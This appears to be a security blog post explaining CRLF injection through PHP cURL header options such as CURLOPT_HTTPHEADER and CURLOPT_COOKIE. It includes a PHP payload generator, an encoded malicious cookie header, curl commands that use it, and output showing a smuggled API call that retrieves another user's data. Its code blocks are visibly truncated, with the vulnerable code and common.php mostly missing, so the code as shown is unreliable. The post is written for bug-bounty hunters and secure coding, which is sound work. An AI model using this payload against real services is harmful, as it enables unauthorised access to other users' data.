# CRLF Injection Into PHP's cURL Options I spent the weekend meeting hackers in Vegas, and I got talking to one of them about CRLF Injection. They'd not seen many CRLF Injection vulnerabilities in the wild, so I thought I'd write up an example that's similar to something I found a few months ago. If you're looking for bugs legally through a program like [hackerone](https://www.hackerone.com/), or you're a programmer wanting to write secure PHP: this might be useful to you. ## Scenario The code I found was calling an internal API using [PHP's cURL library](http://php.net/manual/en/book.curl.php), and was doing it a bit like this (note that I've swapped the remote API URL for http://httpbin.org/post): ```php "getPublicData", "params" => [] ])); // Return the response to the user echo curl_exec($ch); curl_close($ch); ``` Do you see the problem? How about if we take a look at `common.php`? ```php 'getUser', 'params' => '4567' ]); $length = strlen($message); $payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$message}"; echo "Cookie: trialGroups=".urlencode($payload); ``` Running that gives us a cookie header to send with our request: ``` ▶ php payload.php Cookie: trialGroups=ignore%0D%0AContent-Length%3A+36%0D%0A%0D%0A%7B%22method%22%3A%22getUser%22%2C%22params%22%3A%224567%22%7D ``` Too keep the following examples a bit shorter, I'm going to export the cookie header as an environment variable: ``` ▶ export CRLFPAYLOAD="Cookie: trialGroups=ignore%0D%0AContent-Length%3A+36%0D%0A%0D%0A%7B%22method%22%3A%22getUser%22%2C%22params%22%3A%224567%22%7D" ``` Let's try our request now: ``` ▶ curl -s -H"$CRLFPAYLOAD" localhost:1234 { "args": {}, "data": "{\"method\":\"getUser\",\"params\":\"4567\"}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "36", "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": "ignore" }, "json": { "method": "getUser", "params": "4567" }, "origin": "169.254.1.2", "url": "http://httpbin.org/post" } ``` Success! Zooming in on that with gron and grep (and an [ungron](https://github.com/tomnomnom/gron#ungronning)) you can see that only our own `POST` data is being read by httpbin.org: ``` ▶ curl -s -H"$CRLFPAYLOAD" localhost:1234 | gron | grep json.json | gron -u { "json": { "method": "getUser", "params": "4567" } } ``` And now we have user 4567's details. ## Other Vectors `CURLOPT_HTTPHEADER` is not the only cURL option that's vulnerable to this problem. Several other options implicitly set headers on the request, and are therefore vulnerable too. You should not include user-controllable data in the values for: * `CURLOPT_COOKIE` * `CURLOPT_RANGE` * `CURLOPT_REFERER` * `CURLOPT_USERAGENT` * `CURLOPT_PROXYHEADER` If you find more please let me know :)